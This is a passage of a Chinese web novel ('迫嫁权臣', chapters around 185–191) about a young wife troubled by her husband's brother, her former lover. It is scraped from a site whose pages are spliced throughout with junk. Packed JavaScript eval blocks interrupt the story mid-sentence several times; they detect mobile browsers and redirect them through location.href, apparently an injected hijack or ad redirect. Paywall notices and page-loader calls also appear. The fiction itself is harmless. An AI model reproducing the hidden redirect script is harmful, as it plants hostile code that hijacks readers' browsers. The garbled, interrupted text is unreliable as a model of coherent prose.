“您刚才不是看见我走过来了吗?没坡,您孙子好着呢。” 江老夫人道:“祖母老花眼了,看不清,你再走一遍。” 江辞年依旧立在原地不动。 江老夫人捏了捏孙子的脸,埋怨道:“你这孩子,一个人在外头吃了一回苦头,还是这么倔。” 这时,屋外有丫头通传,说世子夫人过来了。 江老夫人笑了,一边拉着江辞年的胳膊让他退到一旁,一边道:“你新进门的大嫂来了,你可要好好拜见她。” 江辞年看向门口,轻声道:“昨晚已在大哥那儿见过了,新嫂嫂生得国色天香,大哥真是好福气。” 他的声音不大,旁人或许没听清,就站在他身旁的江老夫人却是听得一清二楚,疑惑地看了他一眼。 不过江老夫人心中的那点疑虑很快就被进门的沈若芙打断了。 沈若芙随婆子走进堂屋,视线一扫而过,定定落在江老夫人身上,屈身行礼: “祖母万安。” 江老夫人牵过她的手:“你来得正好,昨晚辞年从苏州回来了,听他说,你们已经见过面了,我就不和你介绍了。” 江辞年笑着拱手:“大嫂安好。” 沈若芙淡淡地同他颌首示意。 “辞镜就这么一个亲弟弟,打小就是个泼猴儿,这些年没少让他大哥为他操心,今年十九岁了,还没他大哥当年半分成熟稳重,说来也是招笑。都说长嫂如母,如今你嫁给了辞镜,可算多个人管着他了。” 这些都是客套话,江老夫人可没真指望沈若芙能管得住桀骜不驯的小叔子。 全家这么多人,也就江辞镜能管得住他弟弟,再有就是裴首辅,有时候连他亲爹齐国公的话对他都不管用。 沈若芙客气地笑了笑,没有真的应答。 沈若芙来了没多久,江辞年就被齐国公叫去书房谈话了。 几个月不见,齐国公有许多话想跟小儿子说。 一直到吃过午饭,沈若芙才离开了承安堂。 原本以为中午吃午饭时江辞年没有过来,应当是有事要忙,没想到沈若芙刚出承安堂不远,就在园子的小径迎面碰上了江辞年。 沈若芙下意识想避开他,换条路走,又觉得都已经住在一个屋檐下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149901|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,成天抬头不见低头见的,躲也无用。 于是,她面无表情地走过去。 江辞年见到沈若芙,露出一副十分惊喜的表情,快步走上前,笑着道:“真巧,居然在这儿碰见大嫂嫂了。嫂嫂这是要去哪?” 沈若芙应道:“回锦明堂。四弟是要去找祖母吧,那我先行一步了。” “唉,急什么?”江辞年伸手拦住她,视线直勾勾地落在她脸上,“半年不见,嫂嫂就没有什么话想同我讲的?还是说,嫂嫂更喜欢我像昨晚那样去找你?” 沈若芙垂眸看了一眼他横在自己面前的手臂,并不言语。 江辞年放下手。 沈若芙又扫视了一圈四周,见四下无人,斟酌了片刻,小声道:“多的话我就不说了……我是因何才嫁给你大哥,想必你已经从你大哥或父亲那儿知道了。” 江辞年敛起笑容,一言不发地看着她。 沈若芙:“我只说一句话,我和你大哥现在过得很幸福,他对我很好,处处照顾我体贴我,我也是真心喜欢他的,想与他共度余生。如果你还念着我们过去的一点旧情,就请放过我吧。” 江辞年长久地凝视着眼前已梳起妇人发髻的沈若芙,冷笑一声:“沈若芙,你还记得去年我离开前,你都答应过我什么吗?” 沈若芙:“我没有答应过你,那是你单方面的承诺,如何能作数?” “可我认真了,那就作数!”江辞年厉声道,“我江辞年活了十九年,从未给过任何一个人任何承诺,你是第一个,结果你就是这么对我的?” “在得知你要出嫁时,我不管不顾地丢下公务,冒着被革职的风险,从苏州跑回来,甚至因此摔断了一条腿,不是为了来听你说这些话的!” 她根本就不知道,她的话有多伤人。就像一把尖刀,每说一个字就往他的心口戳一下,直把他戳得鲜血淋漓。 沈若芙被他突然激动吓了一跳,一面环顾四周,一面提醒道:“你小声些。” 明知这个人随时都可能**,她就不该选在这里和他说话。 第一百八十六章 惩罚 江辞年咬紧牙关,十分恼怒地瞪着她。 沈若芙缓了口气,接着道:“我不管你因为什么,在我嫁给你大哥之前,我就已经和你把话说明白了。就算没有你大哥,我也绝对不会与你在一起。所以,你不要一副我辜负了你的样子,我有选择自己去处的自由,更不曾对不起你一分一毫。” 江辞年:“你就是辜负了我!” “我们当初是因为我不愿意娶你为正妻才分开的,现在我愿意娶你了,我们自然就和好了。你在跟我好的时候背着我嫁给别的男人,就是辜负了我,就是红杏出墙,见异思迁,喜新厌旧……沈若芙,你这辈子都对不起我。” 什么狗屁歪理! 沈若芙气不打一处来,直接问道:“江辞年,你到底要怎么样才肯放过我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149902|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江辞年道:“我问你,如 ******后面还有2029个字内容被隐藏了****** ******后面还有2029个字内容被隐藏了****** loadBookInfo(34, 13260807, 186,''迫嫁权臣''); 第一百八十七章 喜欢 夜里,两人躺下后,江辞镜对沈若芙说:“再过两天你舅舅就要到京城了,到时,我陪你去一趟孟家吧。” 沈若芙没什么心情,摇摇头:“你陪我回去还得告一日假,算了。等你哪天休沐了,我们再一起去吧。” 江辞镜侧过身看她,柔声问:“有心事?” 沈若芙立即否认:“没有,我能有什么心事?” 江辞镜:“那为何不想去?” 他太敏锐了,沈若芙有一点小情绪都逃不过他的眼睛。怕他再追问,沈若芙掀开自己的被褥,钻进他的被窝里,把脸埋进他怀里蹭了蹭。 “这么冷的天,我犯懒不成么?你就非要逼着我直说,害我落了面子。” 江辞镜笑了,把她搂紧了,揉揉她的脑袋,又亲了亲她的头顶。 “那等你哪天不犯懒了,把射箭再好好练练。家里每年开春后,父亲都会组织我们几个孩子到山林里举行狩猎赛,到时候,我带你一起去玩。” 沈若芙点点头,眼中却掠过一抹淡淡的忧愁。 …… 翌日无需早朝,江辞镜一大早起来,决定先到马场溜一会儿潇竹再去官署。 最近天气严寒,又不时有降雪,潇竹的主人便犯了懒,接连**日不曾来马棚看望过爱马。 两个人若长时间不见面,感情都会变淡,人和马之间也一样。 妻子不来,江辞镜只能勤快一些,代替妻子和潇竹培养感情。 到了马棚附近,江辞镜远远瞧见一个熟悉的身影正不顾小厮的阻拦想把潇竹牵走,连忙加快脚步走上前,唤道:“辞年。” 江辞年转过头:“大哥。” 江辞镜:“你在做什么?” 江辞年一手拉着缰绳,一手指着小厮向大哥告状:“大哥你来得正好,这不长眼的奴才居然不让我碰你的匹马。你说,这家里除了雾灯,有哪匹马是我骑不得的?” 江辞镜一走过去就拿走了弟弟手里的缰绳,摸了摸潇竹解释道:“这是你大嫂的马,你自然碰不得。” “这是我嫂嫂的马?”江辞年一怔,看向那小厮。 小厮顶着惊惧的神色,默默颌首。 昨夜,江辞年和院里的书童闲聊时听说,去年大哥在万寿节上拔得头筹,陛下赏了大哥一匹上好的汗血宝马,据说品相极佳,比父亲的雾风还好。 大哥的马,那不就是他的马。 江辞年当然要过来瞧一瞧,遛一遛。 没想到,这马居然变成沈若芙的了。 “大哥是把这马送给嫂嫂了?” “是。陛下一将潇竹赏给我,我就把它送给你嫂嫂了。除了我和你嫂嫂,谁都不准碰潇竹。你就歇了这心思吧。” 江辞镜了解自己的弟弟。江辞年对马的态度就跟他对姑娘一样,他没有一匹固定的坐骑,平日里想骑哪匹就骑哪匹,随心所欲。 其他人起初对此怨声载道,纷纷叮嘱小厮把各自的马看好了。可江辞年整天神出鬼没的,还会声东击西,小厮看得再牢,也难免惨遭毒手。 时间一长,大家伙都习惯了。全家也就早出晚归的惊风和敢揍儿子的齐国公的雾灯能够免受其害。 江辞镜将潇竹牵到一旁喂饲料。 江辞年惊讶地跟了过去,说:“嫂嫂又不会骑马,这么好的马送给嫂嫂,岂不是可惜了?” “谁说你嫂嫂不会骑马?”江辞镜抬起头问。 江辞年顿了一顿:“我的意思是说,嫂嫂看起来就弱不禁风的,不像是能驾驭得了这么好的马的样子……” 在他看来,沈若芙骑马的水平和不会也没什么差别。 江辞镜觉得弟弟今日奇奇怪怪的,投去一个疑惑的眼神:“她不会,我不能教她吗?何况驭马靠的又不是力气。” 江辞年抿了抿唇,没有说话。 潇竹低头吃完江辞镜喂的稻谷,温顺地蹭了蹭男主人的手心。江辞镜一边抱住马脖子抚摸马儿,一边警告地看不老实的弟弟一眼。 “你嫂嫂现在骑得很好,只是最近天冷才没怎么过来,我告诉你,你休想打潇竹的主意。” 江辞年被大哥这副生怕别人染指了潇竹的模样刺痛了心脏,心中五味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155084|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂陈。 大哥不让他摸,他就偏要摸。 江辞年的动作总比想法快一步,脑海里刚冒出这个念头,就飞快地伸手在马儿油光水滑的毛发上用力揉搓了两下。 江辞镜一把拍开弟弟的手,同时一个锐利的眼神瞪过去。 “说了不许碰。” “不就是一匹马,至于么?”江辞年不悦道。 大哥要是知道,别说嫂嫂的马了,就是嫂嫂这个人,曾经也属于过他的弟弟,岂不是要嫉妒的发狂? 可大哥什么都不知道,所以此刻嫉妒得发狂的那个人,是江辞年。 江辞镜不理会弟弟的嘲讽,轻轻拍了拍马儿身上被弟弟碰过的地方,试图抹去弟弟的痕迹,严肃地道: “别的马我不管,你再敢未经允许碰你大嫂的马,就是对你大嫂不敬。” 江辞年讪讪地:“大哥才成亲不到四个月,就对嫂嫂这么好,把全家最好的一匹马给了嫂嫂,连我都不让碰,可见是十分心爱嫂嫂了……” 江辞镜不习惯向他人吐露心事,只因眼前是自己血浓于水的弟弟,才不自觉的流露出几分真情。 “她是我的妻子,我自然心爱她。” 江辞年反驳道:“可大哥以前分明信誓旦旦地说过不想娶妻的,还总嫌弃我女人不断。就算是陛下阴差阳错的赐了婚,也不至于让你这么快就性情大变,爱得要死要活吧?” 江辞镜从前倒没觉得快,被弟弟这一提醒,再回想起来,好像是有些快了。 也许男女之间的感情就是这么不讲道理的吧? 以前江辞镜很享受一个人独处,十分不理解弟弟为何能一个女人接着一个女人,也不觉厌烦。 虽然现在还是不全然理解,但江辞镜多少懂得一点了。 原来当他心爱一个女人,就连每天早上醒来,看见她躺在自己身旁酣睡,都是一件幸福的事。 原来他也会在专心处理公务时,忍不住分神去想另一个人在家里做什么,有没有想他。 原来父亲所说的你做喜欢做的事怎么会累,是这种感觉。 第一百八十八章 停战 最让江辞镜意外的是,就算他起初没有误以为沈若芙是细作,陛下忽然要他娶一个他完全不认识不了解的女人,他也多少会有点抗拒。 可当他知道沈若芙不是细作的那一刻,他竟然自然而然的就接受了她是他妻子的事实,甚至很开心她阴差阳错的成为了他的妻子。 除了两人有着命中注定的缘分,江辞镜想不出任何可以解释自己这种改变的理由。 想到这些,江辞镜眼中浮现出一抹笑意:“没有什么不可能的,喜欢就是喜欢了。你成天见一个爱一个都不觉得自己荒谬,我一心一意爱戴你嫂嫂你反倒稀奇起来了。” “还有,我与你嫂嫂跟你和你那些相好可不一样,你莫要随意拿来比较。” 江辞年被说服了:“行吧,看来大哥和嫂嫂是真心相爱的。” 江辞镜没有否认,专心喂马。 喂完这把稻谷,江辞镜接过小厮递来的帕子擦擦手,正准备上马,无意间瞥见弟弟低眉敛目,一副若有所思的模样,竟是难得的安静和正经。 “你在想什么?” 江辞年低声道:“我在想,我好像明白要怎么做了……” “明白什么?”江辞镜困惑道。 江辞年抬起头,用老实巴交的眼神看着哥哥:“没什么。” 江辞镜半信半疑地瞥他一眼,只当他对潇竹还不死心,在琢磨鬼主意,一边翻身上马,一边在心里想着,回头定要多派两个小厮来看管潇竹。 …… 江辞年自小书念得虽还不错,却没有像家里其他兄弟一样,通过参加科考来入仕,而是靠着有一个好父亲和一个好先生,在十七岁那年在工部得到了一个都水清吏司主事的官职。 在京城的权贵世家中,多得是像江辞年这样靠家族荫庇在朝中混个一官半职的,只不过大多数都是占个闲职,领份空饷,不像江辞年身处在有实权的位置。 这一来,齐国公府里难免有人会对此不满,尤其是那些屡试不第,心态又放不平衡的。譬如二房的江二少爷江辞川。 江辞川今年二十四岁,排行老二。从小念书就没什么天赋,不够聪明,上头的大哥都当上双科状元了,他还在为了一个秀才的功名苦苦挣扎。 直到去年秋闱,江辞川终于考中举人,很是高兴。 结果高兴没多久,就从母亲口中得知四弟江辞年前段时间从裴首辅手中得到了一个监修水渠的机会,这会儿人已经在苏州了。这次任务若完成的好,说不定还能升上五品官呢。 才十九岁,连个童生都不是,就能当上五品官,江辞川狠狠嫉妒了一番。 如果江辞年能像他大哥一样上刀山下火海的拼功名,那他就是当宰相,江辞川也不会有意见。 可他偏偏自己一点不努力,全依赖别人的托举,还整天一副天大地大老子全天下最大的混世魔王模样。 这让同为齐国公府公子的江辞川如何服气? 嫉妒归嫉妒,毕竟江辞年是大伯的儿子,又有那么厉害的大哥和先生,而江辞川的父亲江二爷只是一个正四品的太仆寺左少卿。 所以,江辞川明面上并不敢表现出来,只是每天在心里暗暗的盼着江辞年倒霉。 这一盼,果然就让江辞川盼到了。 去年九月大哥成亲,江辞年急着赶回来,还没出城门就摔断了腿。 江辞川就派人去苏州悄悄打听了一番。得知江辞年当时和上峰告假后并没有等到得到批准,就急匆匆地骑马离开苏州,属于擅离职守。 又因为受伤需要休养,让朝廷不得不重新委派人去接手他的位置,耽误了不少公务。 可事后,江辞年的临时上峰,也就是苏州府知府却没有将他受伤的真正原因上报,只是向朝廷报了工伤。 调查清楚后,江辞川认为自己的机会来了。 他悄悄将此事透露给了一个御史。 这帮御史个个一身浩然正气,才不管江辞年背后有什么靠山,直接写了两封**奏疏呈到内阁,把江辞年和苏州知府一块**了。 裴溪云虽是江辞年的先生,可也不好公然包庇江辞年。更别说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159223|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江辞年这次去监修水渠,还是他大力举荐去的。 现在出了事,他身为内阁首辅,怎么也得出来表个态,否则,岂不是犯了众怒。 于是,年后的正月二十三这天,江辞年被以擅离职守的罪名革了官职。 苏州知府因为修渠有功,功过相抵,没有受到处置。 …… 在决定离开苏州时,江辞年就做好了被**的准备。 故而在收到吏部的革职文书时,江辞年只郁闷了一瞬,就把文书丢到一旁,接着趴在书桌前雕他的**鬼工球。 雕了没一会儿,他就发觉有些不对劲。 他整天骑着马在苏州城里四处乱晃,那御史是怎么知道他那天打算回京城的? 他摔下马背时,还没跑出苏州府的城门呢。 江辞年那天正在气头上,走的急,连衣物都没收拾,取了盘缠就走。整个府衙,除了自己人,就只有看到他那封告假文书的苏州知府知道他要去哪。 可先不说苏州知府没那个胆子,就说这次他自个儿也受了连累,所以肯定不会是他告的密。 江辞年想不明白,搁下刻刀,让何荣立即去马厮套马,顶着寒风策马去了裴家。 他被革职挨骂都不要紧,他还年轻,有的是机会从头再来。可要是身边有人想害他,他却被蒙在鼓里一无所知,那是绝对不能容忍的。 …… 锦明堂里,沈若芙正在院子里练习射箭。 今日是正月二十五,江辞年已经将近十天没来找她的麻烦了。 自从那次争吵后,沈若芙的脑海中就好像绷紧了一根弦,时刻警惕着,可江辞年居然一反常态的没再有动作。偶尔有几次在江老夫人那边碰到他,他都只是淡淡地和她行礼问安,多的话一句没有,反复和她才认识似的。 倒不是沈若芙盼着江辞年来找她的麻烦,只是那天他各种威胁,各种放狠话,一副要与她不死不休的模样,沈若芙还以为,今后的每一天都将有一场恶战。 没想到,他就这样偃旗息鼓了。 第一百八十九章 打架 长远来看,沈若芙不清楚这是不是一件好事,但起码短时间内她能过一阵安生日子。 红日当空时,沈若芙终于射中了靶心。 虽然她离靶子只有一丈远的距离,但也足够令她高兴好一会儿了。 沈若芙把弓放到一旁的石桌上,接过飞雪递来的帕子擦了擦汗,就瞧见吴妈妈神色焦急地从外头走了进来。 “出什么事了?”沈若芙问。 吴妈妈犹豫了片刻,还是觉得此事应该让世子夫人知道。 “四少爷出事了。” 沈若芙怔了怔,问:“好事还是坏事?” “自然是坏事了。”吴妈妈担忧地道,“前两天,四少爷不是被革职了么?结果不知怎么着,四少爷忽然查到是二少爷私下把他擅离职守的事泄露给了御史,才害得四少爷被**,气得打了二少爷一顿呢!” 沈若芙缕了缕思绪:“二少爷?” 吴妈妈叹息道:“可不是么。这二少爷也是犯糊涂,都是自家人,纵使四少爷犯了错,又岂能同室操戈?” 沈若芙不好评价对错,只问道:“二少爷的伤势如何?” 吴妈妈:“两位少爷都是自小习武的,可四少爷的功夫好一些,又正在气头上,没三五下就把二少爷打得头破血流。护卫都不敢去拉,万幸三小姐及时赶到,不然怕是要出人命了。现在人全在老夫人那边呢。” 听到江辞年没挨打,沈若芙有点失望。 江辞川好歹是哥哥,又比江辞年大了五岁,真就一点便宜没占着。看来这人不仅书念的不行,功夫学的也不怎么样。 沈若芙一个女眷,不好在这个时候凑过去看热闹。但她很想知道江辞年会不会挨齐国公的打骂,于是差了个小丫头去承安堂偷偷打探。 此时的正院一片鸡飞狗跳。 东次间里,李大夫正着急忙慌地在为江辞川止血,清理伤口。江老夫人、俞氏、江淮雪都围在周围关心他的伤势。 只见江辞川右边的额头被打得鲜血淋漓,沾了药酒的棉球每碰一下伤口,江辞川就痛苦地“哎呦”一声,伴随着身子的颤抖。 自从他被护卫从院子一路抬进屋子里,哎呦声可谓是不绝于耳,听得众人心口直抽抽,不忍直视。 与之形成鲜明对比的是隔壁的西次间。 江辞年正趴在长凳上,表情倔强。面前是坐在轮椅上一脸怒气的齐国公。 两个护卫一左一右站在两侧,手持木板,轮流往江辞年的臀上打着。 无论那板子如何招呼,江辞年都咬着牙一声不吭,坚决不发出一点呻吟,甚至还在听到东次间传来的惨叫声时,不屑地嗤笑一声,嘲讽道: “没用的蠢东西!” 气得齐国公轮椅也不坐了,撑着拐杖一瘸一拐地走过去,夺过护卫手里的板子,狠狠往小儿子臀上打了两下。 亲爹下手就是狠,江辞年双手猛地抓住长凳边缘,喉咙里发出一声闷哼。 齐国公见小儿子愣是不肯出声,看了一眼东次间的方向,又用尽全力打了好几下,打得自己都险些没站稳。 江辞年终于急了,扭头朝父亲嚷嚷:“你想打死我就直说,打**我,你就只剩一个儿子了!” 齐国公扯着嗓子喊道:“你这个逆子,你无故殴打自己兄弟,还不知悔改?” 江辞年:“什么狗屁兄弟!哪有哥哥在背后偷摸陷害自己弟弟的,他害我被**丢了官帽,我不打死他,都是看在二叔的份上。” “什么陷害?”齐国公怒道,“分明就是你擅离职守在先,还有脸颠倒黑白!” 江辞年:“他是因为我擅离职守才这么做的吗?他分明就是看不惯我年纪轻轻就能得裴首辅重用,羡慕嫉妒我已久,才一直暗中伺机陷害我。这次被他抓到了把柄,是我掉以轻心。” “你去帮我告诉他,他别以为这点小事就能毁掉我的仕途,只要我江辞年想,随时都能重回朝堂,大展宏图,而他江辞川今日是举人,永远都只能是个小小的举人!” 齐国公气得脸色铁青,恨不得冲上去捂住小儿子的嘴! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159224|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看了看门外,弯下腰,压低声音,对小儿子道:“你就不能收敛一点,非要得了好处还四处嚷嚷,好让全天下的人都来嫉妒你暗害你?” 亲兄弟还有互相看不惯对方过得比自己更好的呢,何况是这么大个家族里的堂兄弟。 大家伙平日里在一块相处,表面上看着和和睦睦的,可人心隔肚皮,谁知道别人心里是怎么想的。有些心眼小的,因为几块糖就能心生妒忌。 江辞年冷静下来,扭头看眼父亲,双眼竟爬上了一层血丝。“你要不把我按在椅子上打,我打了他就算完了,才懒得嚷嚷。” 齐国公冷脸道:“所以你现在是怪起我来了?你打了就打了,还下那么重的手,我这个做老子的要不狠狠打你一顿,都难消别人心头之恨。” 江辞年郁闷地:“我本来也没想下那么重的手,谁让他正碰上我心情最不好的时候呢?我没打死他,都算我克制力好的了。” “你!”齐国公被噎得一愣,余光正瞥见三小姐江淮雪冲东次间出来,连忙抡起木板继续往小儿子屁股上招呼。 打累了就交给护卫打,自己坐下歇一口气重新来。 江辞年这次也不再固执了,乖乖配合父亲嗷嗷嗷地叫起来。 当江老夫人赶过来为孙子求情,看到的便是气喘吁吁的国公爷和一个虽然叫得很大声,但表情奇怪的并不是很痛苦的孙子。 …… 两刻钟后,江辞年趴在担架上,被两个护卫从承安堂抬到了自己的住所,一路上所过之处皆是一片哀嚎声。 就连在院子里练习射箭的沈若芙都听到了。一个不留神,箭射歪了。 待那哀嚎声远去,奉命去打探消息的小丫头也回来了。 沈若芙听说了江辞年挨打时的惨状,心里舒服了那么一点。 毕竟是小叔子,若成家了就罢了,没成家,沈若芙身为长嫂,出于礼节,还是应该去看望一下。 她命飞雪准备了一些药材和补品,回屋里换了身干净的衣裙,便带着丫头出门了。 第一百九十章 我江辞年永远喜欢你 江辞年居住的冠云堂就在锦明堂的旁边,两个院子离得很近。 沈若芙刚走出锦明堂,就听见了隔壁传来的惨叫声,走得越近,那声音越透着一股假。 沈若芙一想就明白了,以江辞年的性子,怎么可能会乖乖趴在椅子上挨别人的打,他不把板子抢过来打别人就不错了。 至于齐国公,他治家虽严,可人都是有私心的。 他既然默许了裴首辅因为过往的恩情而对儿子的栽培与提拔,就不会为了这点小事,真的把儿子打得下不来床。 更别说,江辞年犯的事往大了看其实并不算什么,就是元康帝知道了也是睁一只眼闭一只眼,他却因为自家兄弟的检举而被革职,换个人只怕都要记恨上对方了。 可即便是这样,齐国公还愿意做个样子给二房看,说明他早就知道二房,或者说江辞川对江辞年嫉妒已久,为了平息他的妒火,才出此下策。 沈若芙以为自己是第一个来看望江辞年的,被请进堂屋后才发现,江淮雪比她快了一步。 不过江淮雪也不是来看望他的,而是来替自己哥哥出气的。 这不,沈若芙刚跨进门槛,就见江淮雪站在床边,掀起江辞年的衣袍下摆,往他臀上死命地按。 江辞年顿时如惊弓之鸟般跳起来,往床里头躲,瞪大了眼睛:“江淮雪,你个疯婆子,谁让你进来,给滚出去!” “你管谁叫疯婆子?”江淮雪一条腿跪上床沿,抓起枕头就往江辞年屁股上招呼。 江辞年抬手挡住她挥打过来的枕头,两个人不由分说地干起架来。 沈若芙被这一幕惊呆了。一时间愣在原地,进也不是,退也不是。 江淮雪虽是女儿家,却也学过不少拳脚功夫,对上带伤的江辞年,还不至于次次落了下风。只是男女之间终归力量悬殊,没过多久,江淮雪就被夺走了武器,接连挨了好几下,发钗都快给他打下来了。 急得她直喊:“江辞年,你再打我一下,信不信我把你的秘密告诉祖母和大堂哥!” 听到这话,江辞年立马停了下来,站在门口的沈若芙也精神一震。 江淮雪见自己拿捏住了他的七寸,一把夺走他手中的枕头,**地报复了回去。 江辞年也不躲,只是坐在床上仍由她打着,视线却落在了不远处的沈若芙身上。 江淮雪打够了,把枕头往地平上一扔,得意地冲江辞年扬起下巴,想替哥哥教训他几句,忽然发觉他的脸色有些不对劲。 江淮雪顺着他的目光扭头看去,怔了一怔。 沈若芙与她对视一眼,背过身去不看她。 “打完了?”江辞年问。 江淮雪回过头:“……打完了。” 得到应答,江辞年起身就要下床榻,江淮雪还以为他要过来打自己,下意识往后退了几步。 不想,对方下来后只是拍了拍身上的衣裳,出奇的平静,倒让江淮雪有些惶惶不安。 整理完衣裳,江辞年抬起头与江淮雪对视,脸上的表情是江淮雪从未见过的认真。 她问:“你想做什么?” 沈若芙也好奇江辞年想做什么,竖起耳朵听着。 片刻的沉默后,她听见江辞年开口了。 “江淮雪,我和你大堂嫂的事早已经过去了,你从前如何无理取闹我都不管,你想为你哥哥鸣不平,报复我,我也都理解。” “但你从今往后若再敢拿此事威胁我,或是传出去一个字,害了你大堂嫂。那你最好保佑你那个侍郎公公再多活几百年。否则,我发誓,等我外甥女的父亲下回再犯事,我定让他被贬到那深山老林里去,让他们父女俩这辈子再不得团聚。” “我说到做到。” 沈若芙呆若木鸡,不敢相信这番话是从江辞年嘴里讲出来的。 桀骜不驯的江辞年江淮雪见得多了,早就不怕了。可面无表情地威胁人的江辞年,江淮雪还是第一次见。 如果江辞年直接说要让义哥儿下大牢,江淮雪兴许还不信。可打压义哥儿的仕途,江淮雪相信江辞年这个没脸没皮的货,真的能干得出来。 江淮雪挺直腰杆,目光闪躲:“……你要不来招惹我,我才懒得理你们的破事。” 说完,她转身快步走了。 沈若芙听见脚步声,连忙侧身让开。即便垂着眼睛,也不出意外地察觉到了江淮雪不怀好意的视线。 “嫂嫂怎么过来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162866|163829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈若芙闻言望向江辞年,发现他已经离开了拔步床,走到桌子前,给自己倒了一杯水喝。 也许是因为他方才那番话,沈若芙现在看他莫名变得有点不习惯。 她示意飞雪把东西拿上来,说:“我听说你挨了罚,代你大哥来给你送点药酒。” 江辞年在心里默默嗤笑一声。 多稀奇啊,他们二人也曾是一对神仙眷侣,她关心他,居然还要用旁人当借口。 “那等我大哥下值回来,你代我谢谢他。” 为防他多想,沈若芙本来打算把东西送到就走的,不料意外地看了一场戏,又意外地听到了那些话。 沈若芙迫不及待地想问清楚,他刚才说的话是什么意思,是不是她理解的那样,他已经改过自新,决定放下过去不再纠缠她了? 可她不知道该怎么开口,又怕万一误解了,会惹出更多事来。 江辞年连着喝完一壶水,见沈若芙还不走,欲言又止的模样,忽然笑了笑。 “嫂嫂是否想问,方才我说的话,是不是真的?” 沈若芙没有应答。 江辞年朝她缓步走去,停在离她五步远的地方,道:“上次回去后,我一个人想了很久,从前的确是我太过固执了,我固执得想要得到它,而忽略了你的感受,是我不好。也许,错过了就是错过了,过去终究是我不够珍惜,是我辜负了你,我又有何脸面强求你放弃一个更好的男人与我在一起……” 沈若芙怀疑中夹杂着一丝欣喜。 她面无表情,什么情绪都不敢表现出来,生怕他一个不顺心突然改变想法。 “我们认识了这么长时间,如今看到你终于找到了命定之人,却不是我,我很难过。虽然缘分这种东西可遇不可求,可我还是想让你知道,我江辞年永远喜欢你。” 江辞年深情地望着沈若芙,柔声道:“阿芙,答应我,如果有一天,你厌倦了我大哥,或者我大哥对你不好了,你还回来找我,好吗?” 沈若芙心中百感交集,犹豫了许久,露出一个浅笑:“你能想通,比什么都好。” 江辞年也朝她挤出一个浅笑,只是笑容中多了几分爱而不得的苦涩。 第一百九十一章 我那人见人爱的弟弟 从冠云堂出来,沈若芙轻轻呼出一口气,抬眸望向湛蓝的天空,感觉今日的阳光格外的明媚。 回到锦明堂,主仆俩关上门窗,飞雪先给夫人倒了一杯茶,又迫不及待地问: “夫人,您觉得刚才四少爷说的那些话是认真的吗?” 沈若芙喝了口茶,若有所思:“也许吧。” 飞雪深感困惑:“这也太突然了吧?这才过去几天。” “能比我当初发现他有个没过门的妻子还突然吗?” 